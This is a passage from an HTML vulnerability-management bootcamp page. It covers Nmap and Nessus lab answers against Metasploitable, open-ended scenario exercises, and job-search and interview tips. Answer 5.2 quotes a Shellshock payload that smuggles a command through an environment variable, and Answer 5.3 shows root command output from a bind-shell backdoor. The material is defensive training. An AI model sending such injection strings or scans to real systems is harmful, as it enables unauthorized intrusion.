&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;172.16.84.1 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2: ICMP &lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;exceeded &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-transit&lt;/span&gt;, length 36
        IP &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;tos 0x0, ttl 1, &lt;span class=&quot;nb&quot;&gt;id &lt;/span&gt;19407, offset 0, flags &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;none], proto UDP &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;17&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, length 60&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-14&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-15&quot;&gt;Answer 1.5&lt;/h6&gt;
&lt;p&gt;By default, Nmap only scans the &lt;a href=&quot;https://nmap.org/book/nmap-services.html&quot;&gt;top 1000 ports&lt;/a&gt; (this list is available on your Kali box at &lt;em&gt;/usr/share/nmap/nmap-services&lt;/em&gt;). You can scan &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers&quot;&gt;all ports&lt;/a&gt; using the command below. &lt;em&gt;Essentially&lt;/em&gt;, you are just specifying all ports (using “-p0-65535”) in the command.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap &lt;span class=&quot;nt&quot;&gt;-p0-65535&lt;/span&gt; METASPLOITABLE_IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-15&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-2-answers&quot;&gt;Exercise 2 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-21&quot;&gt;Answer 2.1&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;TCP, ARP, ICMP&lt;/strong&gt;. This is determined by going to the “DISCOVERY” section within the “Settings” tab of the &lt;em&gt;host discovery&lt;/em&gt; scan creation wizard. Within this pane you will see TCP, ARP and ICMP listed under “Ping hosts using:”&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-21&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-22&quot;&gt;Answer 2.2&lt;/h6&gt;
&lt;p&gt;“Nessus Scan Information”, &lt;a href=&quot;https://www.tenable.com/plugins/nessus/19506&quot;&gt;plugin 19506&lt;/a&gt; and “Ping the remote host”, &lt;a href=&quot;https://www.tenable.com/plugins/nessus/10180&quot;&gt;plugin 10180&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-22&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-23&quot;&gt;Answer 2.3&lt;/h6&gt;
&lt;p&gt;In the output of the &lt;a href=&quot;https://www.tenable.com/plugins/nessus/19506&quot;&gt;19506 plugin&lt;/a&gt;, there is a line which reads “Credentialed checks : no”.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-23&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-24&quot;&gt;Answer 2.4&lt;/h6&gt;
&lt;p&gt;Though it may vary, the likely answer is &lt;strong&gt;&lt;a href=&quot;https://www.fortinet.com/resources/cyberglossary/what-is-arp&quot;&gt;ARP&lt;/a&gt;&lt;/strong&gt;. The successful method can be determined by reviewing the &lt;a href=&quot;https://www.tenable.com/plugins/nessus/10180&quot;&gt;10180 plugin’s&lt;/a&gt; output as shown below.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The remote host is up
The host replied to an ARP who-is query.
Hardware address : 00:0c:29:4b:79:e4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-24&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-3-answers&quot;&gt;Exercise 3 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-31&quot;&gt;Answer 3.1&lt;/h6&gt;
&lt;p&gt;Nessus uses a &lt;a href=&quot;https://docs.tenable.com/tenablesc/Content/RiskMetrics.htm&quot;&gt;5-tier severity scale&lt;/a&gt; - &lt;strong&gt;Critical&lt;/strong&gt;, &lt;strong&gt;High&lt;/strong&gt;, &lt;strong&gt;Medium&lt;/strong&gt;, &lt;strong&gt;Low&lt;/strong&gt;, &lt;strong&gt;Informational&lt;/strong&gt;. Tenable has also recently introduced a new risk-scoring methodology known as &lt;a href=&quot;https://www.tenable.com/blog/what-is-vpr-and-how-is-it-different-from-cvss&quot;&gt;VPR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-31&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-32&quot;&gt;Answer 3.2&lt;/h6&gt;
&lt;p&gt;By opening up the &lt;a href=&quot;#uncredentialed-scan&quot;&gt;uncredentialed scan&lt;/a&gt; results and clicking on the “VPR Top Threats” tab, you will see just one Critical vulnerability, “Apache Tomcat AJP Connector Request Injection (&lt;a href=&quot;https://www.chaitin.cn/en/ghostcat&quot;&gt;Ghostcat&lt;/a&gt;)” with a VPR score of 9.6. It’s been given this rating despite it’s &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator&quot;&gt;CVSSv3&lt;/a&gt; Impact Score being only a 5.9. This is due to the readily available exploit code and high &lt;em&gt;Threat Intensity&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-32&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-33&quot;&gt;Answer 3.3&lt;/h6&gt;
&lt;p&gt;By opening up the &lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scan&lt;/a&gt; results and clicking on the “VPR Top Threats” tab, you will see several Critical severity issues. The top issue is “&lt;a href=&quot;https://www.tenable.com/plugins/nessus/77823&quot;&gt;Bash Remote Code Execution&lt;/a&gt;”, with a VPR severity score of 9.8. This is scored higher than the &lt;a href=&quot;#answer-32&quot;&gt;previously identified hihg-risk issue in the uncredentialed scan&lt;/a&gt; due to its &lt;em&gt;Threat Intensity&lt;/em&gt; being “Very High” as opposed to just “High”. This &lt;a href=&quot;https://docs.tenable.com/tenablesc/director/5_18/Content/RiskMetrics.htm#Threat&quot;&gt;intensity&lt;/a&gt; is calculated based on the number and frequency of recently observed threat events (by Tenable themselves presumably).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-33&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-34&quot;&gt;Answer 3.4&lt;/h6&gt;
&lt;p&gt;There are &lt;a href=&quot;https://community.tenable.com/s/article/Useful-plugins-to-troubleshoot-credential-scans&quot;&gt;quite a few different ways to troubleshoot/validate credentialed scans&lt;/a&gt;. A few such options include the following plugins…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/plugins/nessus/19506&quot;&gt;Plugin 19506&lt;/a&gt; can be used by looking at the plugin output - specifically where it says “Credentialed checks : yes, as ‘msfadmin’ via ssh”.&lt;/li&gt;
  &lt;li&gt;The presence of &lt;a href=&quot;https://www.tenable.com/plugins/nessus/117887&quot;&gt;plugin 117887&lt;/a&gt;, “Local Checks Enabled” is a good sign that the scan was successful in logging in and performing &lt;em&gt;local&lt;/em&gt; checks.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/plugins/nessus/141118&quot;&gt;Plugin 141118&lt;/a&gt;, “Target Credential Status by Authentication Protocol - Valid Credentials Provided” very explicitly claims that “valid credentials” have been provided. This would be another sure-fire way to claim that the scan was successfully performed with credentials.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;#question-34&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-35&quot;&gt;Answer 3.5&lt;/h6&gt;
&lt;p&gt;The scan was performed with the credentials &lt;em&gt;msfadmin&lt;/em&gt; / &lt;em&gt;msfadmin&lt;/em&gt;. Though these &lt;em&gt;are&lt;/em&gt; valid credentials for the Metasploitable system, the user &lt;em&gt;msfadmin&lt;/em&gt; does not &lt;a href=&quot;https://www.tenable.com/blog/configuring-least-privilege-ssh-scans-with-nessus&quot;&gt;sufficient privileges&lt;/a&gt; on the system for all of Nessus’ checks. In fact, &lt;a href=&quot;https://www.tenable.com/plugins/nessus/110385&quot;&gt;plugin 110385&lt;/a&gt;, “Target Credential Issues by Authentication Protocol - Insufficient Privilege” tells us this exact thing.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-35&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-4-answers&quot;&gt;Exercise 4 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-41&quot;&gt;Answer 4.1&lt;/h6&gt;
&lt;p&gt;There is a toggle in the “Advanced” settings within the scan configuration wizard which can “&lt;a href=&quot;https://community.tenable.com/s/article/How-the-Stop-scanning-hosts-that-become-unresponsive-during-the-scan-setting-works&quot;&gt;Stop scanning hosts that become unresponsive during scan&lt;/a&gt;”. Toggling this &lt;em&gt;on&lt;/em&gt; can help with systems that are more sensitive in nature or that are experiencing responsiveness issues.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-41&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-42&quot;&gt;Answer 4.2&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)&lt;/strong&gt;. You can find this by going to the scan configuraiton wizard settings, going to “Assessment –&amp;gt; Web Applications”, toggling “Scan web applications” and then looking at the default value in the “Use a customer User-Agent” field.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-42&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-43&quot;&gt;Answer 4.3&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;SYN&lt;/strong&gt;. You can find this by going to the scan configuration wizard settings, going to “Discovery –&amp;gt; Port Scanning”, scrolling down to the “Network Port Scanners” section and then seeing that only the “SYN” check-box is checked (TCP and UDP are &lt;em&gt;not&lt;/em&gt; checked by default).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-43&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-5-answers&quot;&gt;Exercise 5 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-51&quot;&gt;Answer 5.1&lt;/h6&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.first.org/cvss/v2/guide&quot;&gt;CVSS v2.0&lt;/a&gt; Vector for the &lt;a href=&quot;https://www.exploit-db.com/docs/48112&quot;&gt;Shellshock&lt;/a&gt; vulnerability is &lt;strong&gt;AV:N/AC:L/Au:N/C:C/I:C/A:C&lt;/strong&gt;. “AC:L” means that the “Access Complexity” for successfully exploiting this vulnerability is &lt;strong&gt;Low&lt;/strong&gt;. In other words, exploiting this issue is trivial, thus its &lt;em&gt;Critical&lt;/em&gt; severity rating.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-51&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-52&quot;&gt;Answer 5.2&lt;/h6&gt;
&lt;p&gt;In this case, Nessus actually physically &lt;em&gt;&lt;a href=&quot;#https://www.exploit-db.com/docs/48112&quot;&gt;exploited&lt;/a&gt;&lt;/em&gt; the vulnerability. It did so as can be seen in the &lt;a href=&quot;https://www.tenable.com/plugins/nessus/77823&quot;&gt;plugin output&lt;/a&gt; below…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Nessus was able to set the TERM environment variable used in an SSH
connection to :

() { :;}; /usr/bin/id &amp;gt; /tmp/nessus.1619029506
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-52&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-53&quot;&gt;Answer 5.3&lt;/h6&gt;
&lt;p&gt;This is &lt;em&gt;somewhat&lt;/em&gt; of a subjective question, but in my mind, the highest risk issue is the “&lt;a href=&quot;https://www.tenable.com/plugins/nessus/51988&quot;&gt;Bind Shell Backdoor Detection&lt;/a&gt;” finding. This is not only &lt;em&gt;immediately exploitable&lt;/em&gt; but also evidence of previous/current system compromise. In other words, an attacker is likely already on the system! In fact, Nessus was even able to exploit this vulnerability as shown in the output below.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Nessus was able to execute the command &quot;id&quot; using the
following request :

This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;#question-53&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-54&quot;&gt;Answer 5.4&lt;/h6&gt;
&lt;p&gt;By going to the “Remediations” tab within the &lt;a href=&quot;#credentialed-scan&quot;&gt;credentialed scan&lt;/a&gt; results, we can see a list of “Actions”. Each action represents a patch or other mitigation that can be applied and how many vulns that patch will fix. The top “Action” is “&lt;em&gt;&lt;a href=&quot;https://ubuntu.com/security/notices/USN-1105-1&quot;&gt;Ubuntu 8.04 LTS : linux vulnerabilities (USN-1105-1): Update the affected packages.&lt;/a&gt;&lt;/em&gt;” which according to Nessus will fix 234 vulnerabilities. Though this may in fact reduce a lot of risk on the system, it still wouldn’t be the highest thing &lt;em&gt;I&lt;/em&gt; would prioritize. This is why manual analysis is so important as opposed to relying on what Nessus tells you via it’s automated semi-prioritization methodology.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-54&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exercise-6-answers&quot;&gt;Exercise 6 Answers&lt;/h3&gt;
&lt;h6 id=&quot;answer-61&quot;&gt;Answer 6.1&lt;/h6&gt;
&lt;p&gt;A “Filter” can be created in the “Vulnerabilities” tab first. This filter should have the criteria “Severity is equal to Critical”. Once this filter has been applied, any report that is generated will just be for the filtered vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#question-61&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;answer-62&quot;&gt;Answer 6.2&lt;/h6&gt;
&lt;p&gt;There are a number of different parties that may be interested in receiving different kinds of reports from Nessus. &lt;em&gt;Some&lt;/em&gt; of these groups are listed below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;IT Leadership&lt;/strong&gt; may be interested in a report which has a high level breakdown of how many vulnerabilities are present within the organization’s overall environment.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;VM Analysts&lt;/strong&gt; may be interested in a report that has particularly high-risk vulnerabilities in it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;System Administrators&lt;/strong&gt; may be interested only in vulnerabilities that affect systems they own. They may also be interested only in vulnerabilities which match particular SLA criteria (meaning which vulnerabilities do they need to address &lt;em&gt;soon&lt;/em&gt;.)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;IT Managers&lt;/strong&gt; - May be interested in vulnerabilities which affect all the systems within their department. They may also just be interested in high level number of vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;#question-62&quot;&gt;Back to Question&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-globe-hemisphere-west lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;scenario-based-exercises&quot;&gt;Scenario-Based Exercises&lt;/h1&gt;
&lt;p&gt;At this point, you’ve learned the &lt;a href=&quot;#vm-knowledge-pre-requisites&quot;&gt;pre-requisite knowledge&lt;/a&gt; recommended to succeed in a &lt;a href=&quot;#why-start-your-infosec-career-with-vulnerability-management&quot;&gt;VM role&lt;/a&gt; and you’ve acquired &lt;em&gt;real&lt;/em&gt; &lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;hands-on experience&lt;/a&gt; doing &lt;a href=&quot;#vulnerability-management-day-to-day&quot;&gt;VM tasks&lt;/a&gt; with Nessus. This section is the culmination of all the work you’ve put in throughout this &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt;. Below is a progressive series of &lt;em&gt;six&lt;/em&gt; exercises, each mapping to a different stage of the &lt;a href=&quot;https://shellsharks.com/symphonic-vulnerability-surface-mapping#a-primer-on-vulnerability-management&quot;&gt;VM lifecycle&lt;/a&gt;. They are designed to test your knowledge and evaluate your thought process as it relates to &lt;em&gt;real-world&lt;/em&gt; VM scenarios. They are all open-ended such that there are no “answers”, rather they are more abstract thought exercises. I recommend you go through each, writing up a quick paragraph or two on how you would &lt;em&gt;solve&lt;/em&gt; each of the prompts. &lt;em&gt;Optionally&lt;/em&gt;, I invite you to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt; (or start a discussion on the &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Discord&lt;/a&gt;) with your writeups and we can discuss your answers. At that time, I can give you my opinions and feedback on your answers. &lt;em&gt;Again&lt;/em&gt;, there is not necessarily a single &lt;strong&gt;right&lt;/strong&gt; answer to any of these prompts. You are also welcome to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt; if there are any other questions about these scenarios. With all that said, let’s introduce the &lt;strong&gt;scenario-based exercises&lt;/strong&gt;. &lt;strong&gt;NOTE&lt;/strong&gt;: &lt;em&gt;These exercises require that you have completed all the exercises within the bootcamp&lt;/em&gt;!&lt;/p&gt;

&lt;h6 id=&quot;scenario-1-identify&quot;&gt;Scenario 1: &lt;strong&gt;IDENTIFY&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;An automated Nessus scan identified the &lt;a href=&quot;https://www.chaitin.cn/en/ghostcat&quot;&gt;Ghostcat&lt;/a&gt; vulnerability (&lt;a href=&quot;https://www.tenable.com/plugins/nessus/134862&quot;&gt;plugin 134862&lt;/a&gt;) on a host. An automated report was sent to the system owner detailing the finding. The system owner has contacted the VM team (you) and is claiming the finding is a false-positive. How would you go about addressing this claim?&lt;/p&gt;

&lt;h6 id=&quot;scenario-2-classify&quot;&gt;Scenario 2: &lt;strong&gt;CLASSIFY&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;The CISO has asked the VM team (you) to provide a list of the top 10 highest-risk vulnerabilities present within the organization’s environment. Assume Metasploitable is the &lt;em&gt;entirety&lt;/em&gt; of the environment. What would be the top 10 vulnerabilities and how did you come to this determination?&lt;/p&gt;

&lt;h6 id=&quot;scenario-3-analyze&quot;&gt;Scenario 3: &lt;strong&gt;ANALYZE&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;Upon receiving the scan report of the Metasploitable system, IT leadership has asked that the VM team (you) put together a risk assessment for the “&lt;em&gt;NFS Exported Share Information Disclosure&lt;/em&gt;” (&lt;a href=&quot;https://www.tenable.com/plugins/nessus/11356&quot;&gt;plugin 11356&lt;/a&gt;) finding. This finding has been identified on other systems within the network and leadership wants a more thorough understanding of the risk. Create this risk assessment, come up with a final risk determination and think of any additional questions you may need answered to accurately come up with this designation.&lt;/p&gt;

&lt;h6 id=&quot;scenario-4-prioritize&quot;&gt;Scenario 4: &lt;strong&gt;PRIORITIZE&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;In &lt;a href=&quot;#scenario-2-classify&quot;&gt;Scenario 2&lt;/a&gt;, we came up with a list of the top 10 highest risk vulnerabilities. We now need to &lt;em&gt;prioritize&lt;/em&gt; the remediation of all findings within the Metasploitable scan report. How would you suggest prioritizing these fixes? Would you recommend fixing them in the order you specified earlier? If so or if not, explain why. I would recommend making some assumptions on a few things…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What data is stored/processed by the Metasploitable system (in theory).&lt;/li&gt;
  &lt;li&gt;What resources are available for patching or implementing other defensive measures?&lt;/li&gt;
  &lt;li&gt;etc…&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;scenario-5-report&quot;&gt;Scenario 5: &lt;strong&gt;REPORT&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;&lt;a href=&quot;https://www.tenable.com/blog/nessus-home-is-now-nessus-essentials&quot;&gt;Nessus Essentials&lt;/a&gt; has limited reporting options. Given you had more flexibility in how you &lt;a href=&quot;#exericse-6-reporting&quot;&gt;create reports&lt;/a&gt; and what content exactly they &lt;em&gt;could&lt;/em&gt; contain, in what formats and with what content would you suggest for reports being sent to the following groups…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;IT Leadership&lt;/li&gt;
  &lt;li&gt;Company Executives&lt;/li&gt;
  &lt;li&gt;IT System Owners&lt;/li&gt;
  &lt;li&gt;VM Staff&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;scenario-6-remediatemitigate&quot;&gt;Scenario 6: &lt;strong&gt;REMEDIATE/MITIGATE&lt;/strong&gt;&lt;/h6&gt;
&lt;p&gt;The Metasploitable system is overrun with vulnerabilities. Swift action must be taken to mitigate risk. What are the first &lt;strong&gt;3&lt;/strong&gt; things you would recommend for mitigating this risk? &lt;strong&gt;HINT&lt;/strong&gt;: &lt;em&gt;Think beyond patches and consider alternative approaches to risk mitigation&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-gps-fix lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;how-to-find-a-vm-job&quot;&gt;How to Find a VM Job&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Congrats!&lt;/strong&gt; Presumably, you are through the &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt; and are now faced with the challenge of actually &lt;em&gt;finding&lt;/em&gt; and &lt;em&gt;applying&lt;/em&gt; to relevant positions within VM that you could be qualified for. Below is a quick list of tips for hunting down applicable positions.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Expand&lt;/em&gt;. &lt;em&gt;Your&lt;/em&gt;. &lt;em&gt;Search&lt;/em&gt;. &lt;strong&gt;Look and apply everywhere&lt;/strong&gt;. &lt;a href=&quot;https://www.linkedin.com/feed/&quot;&gt;Linkedin&lt;/a&gt;, &lt;a href=&quot;https://www.monster.com&quot;&gt;Monster&lt;/a&gt;, &lt;a href=&quot;https://www.simplyhired.com&quot;&gt;SimplyHired&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/netsecstudents/&quot;&gt;Reddit&lt;/a&gt;, &lt;a href=&quot;https://washingtondc.craigslist.org/d/jobs/search/nva/jjj&quot;&gt;Craigslist&lt;/a&gt;, &lt;a href=&quot;https://www.dice.com&quot;&gt;Dice&lt;/a&gt;, &lt;a href=&quot;https://www.indeed.com&quot;&gt;Indeed&lt;/a&gt;, Company career pages, &lt;a href=&quot;https://www.glassdoor.com/member/home/index.htm&quot;&gt;Glassdoor&lt;/a&gt;, etc… There may be a lot of overlap but widening the set of sources you use is a good start. I’ll also add that &lt;em&gt;volume&lt;/em&gt; of applications can be your friend. &lt;em&gt;Yes&lt;/em&gt;, it is definitely work, and &lt;em&gt;yes&lt;/em&gt;, it is frustrating to be turned down (again and again), but &lt;strong&gt;perseverance&lt;/strong&gt; is key and applying to a lot of places will statistically up the probability you get an opportunity.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Don’t be afraid to apply&lt;/strong&gt;. What I mean is - yes, you want to avoid applying to places that you are completely unqualified for but don’t be too scared off by job reqs that ask for &lt;em&gt;N&lt;/em&gt; years of experience. If it sounds like you can do what is being asked of you in the job req, or you at least have some or most of the qualifications, you need not worry that you don’t check every box.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Don’t embellish or lie on your resume&lt;/strong&gt;. You don’t need to. This is an entry-level job and they don’t expect you to know everything. If you’ve never used a tool, don’t list it. If you’ve used it once or twice though, put it on your resume! Everything on your resume is fair game and you should be ready to, at a minimum, explain what a tool is, what it does and in what capacity you have used it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;“Vulnerability” is a good search term&lt;/strong&gt;. A lot of VM jobs (&lt;em&gt;unsurprisingly&lt;/em&gt; I guess) have titles which include “Vulnerability” in it in some fashion (e.g. “&lt;em&gt;Senior Engineer, Vulnerability Management&lt;/em&gt;”, “&lt;em&gt;Vulnerability Management Analyst&lt;/em&gt;”, “&lt;em&gt;Vulnerability Engineer&lt;/em&gt;”, “&lt;em&gt;Vulnerability Management Security Engineer - Security Operations&lt;/em&gt;”, etc…) There is no standard title for VM, these are job titles I pulled off of a job board &lt;em&gt;today&lt;/em&gt;! Play around with these search terms to cast the best possible net.&lt;/li&gt;
  &lt;li&gt;Not every company has positions that are &lt;em&gt;pure&lt;/em&gt; VM. In many cases, VM responsibilities fall within the “SIOC” or engineering teams and as such, these jobs require experience or skills far beyond what is covered in this &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt;. I would recommend reading the job req and trying to determine what percentage of the daily responsibilities involve VM versus &lt;em&gt;other&lt;/em&gt; engineering/SIOC-type-work. You may still be eligible for that position or the hiring manager may be willing to bring you in for your VM experience alone, as long as you are willing to learn the other facets of the role (and you &lt;strong&gt;should&lt;/strong&gt; be eager to learn as much as possible!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I will add additional tips here as I think of them. &lt;em&gt;Now&lt;/em&gt;, let’s talk about &lt;a href=&quot;#vm-interview&quot;&gt;the interview&lt;/a&gt;…&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-video-conference lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;vm-interview&quot;&gt;VM Interview&lt;/h1&gt;
&lt;p&gt;So you’ve gone through the &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt;, &lt;a href=&quot;#how-to-find-a-vm-job&quot;&gt;applied to some VM positions&lt;/a&gt; and now have an interview scheduled. &lt;em&gt;Well done&lt;/em&gt;! It’s time to put it all together and &lt;em&gt;knock it outta the park&lt;/em&gt;. Below, I have a &lt;a href=&quot;#interview-tips&quot;&gt;few quick tips&lt;/a&gt; on your interview as well as a series of &lt;a href=&quot;#interview-questions&quot;&gt;common interview questions&lt;/a&gt; (and some possible answers where appropriate).&lt;/p&gt;

&lt;h6 id=&quot;interview-tips&quot;&gt;&lt;strong&gt;Interview Tips&lt;/strong&gt;&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Don’t be afraid to admit you don’t know something&lt;/strong&gt;. If you’re asked a question you don’t know, state that you don’t know or are not sure, but &lt;em&gt;always&lt;/em&gt; offer to explain your thought process for answering the question. Interviewers want to know how you think moreso than necessarily if you have the “right” answer. In many cases there may be no right answer, so always offer up your thoughts. Try to keep them brief and to the point though - rambling on when you are very unsure can certainly be a turn-off for an interviewr.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Be enthusiastic&lt;/strong&gt;. This is true of any interview but particularly &lt;em&gt;potent&lt;/em&gt; for entry-level / junior interviews. Those in charge of hiring understand that junior applicants may not have any real experience (&lt;a href=&quot;#vm-bootcamp-lab&quot;&gt;you do though!&lt;/a&gt;), and it can be &lt;em&gt;really&lt;/em&gt; hard to truly gauge someones technical acumen. What’s not hard however, is to see if someone is &lt;em&gt;truly&lt;/em&gt; interested in the role and passionate about infosec.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Have plenty of questions&lt;/strong&gt;. Be ready to ask a lot of questions, this if nothing else will show interest in the role. Some example questions are…
    &lt;ul&gt;
      &lt;li&gt;What tools does the team use?&lt;/li&gt;
      &lt;li&gt;What is the makeup of the team now?&lt;/li&gt;
      &lt;li&gt;What are the biggest challenges that the team currently faces?&lt;/li&gt;
      &lt;li&gt;Where would you like the program to be in 1 year? What about 2 years?&lt;/li&gt;
      &lt;li&gt;What does success look like to you for someone coming into this role?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;If you don’t know something or are otherwise stumped by a question, always return to being &lt;em&gt;very interested&lt;/em&gt; and excited about learning more on that topic. Where it applies, you can even mention things you are learning currently that are related to that topic.&lt;/li&gt;
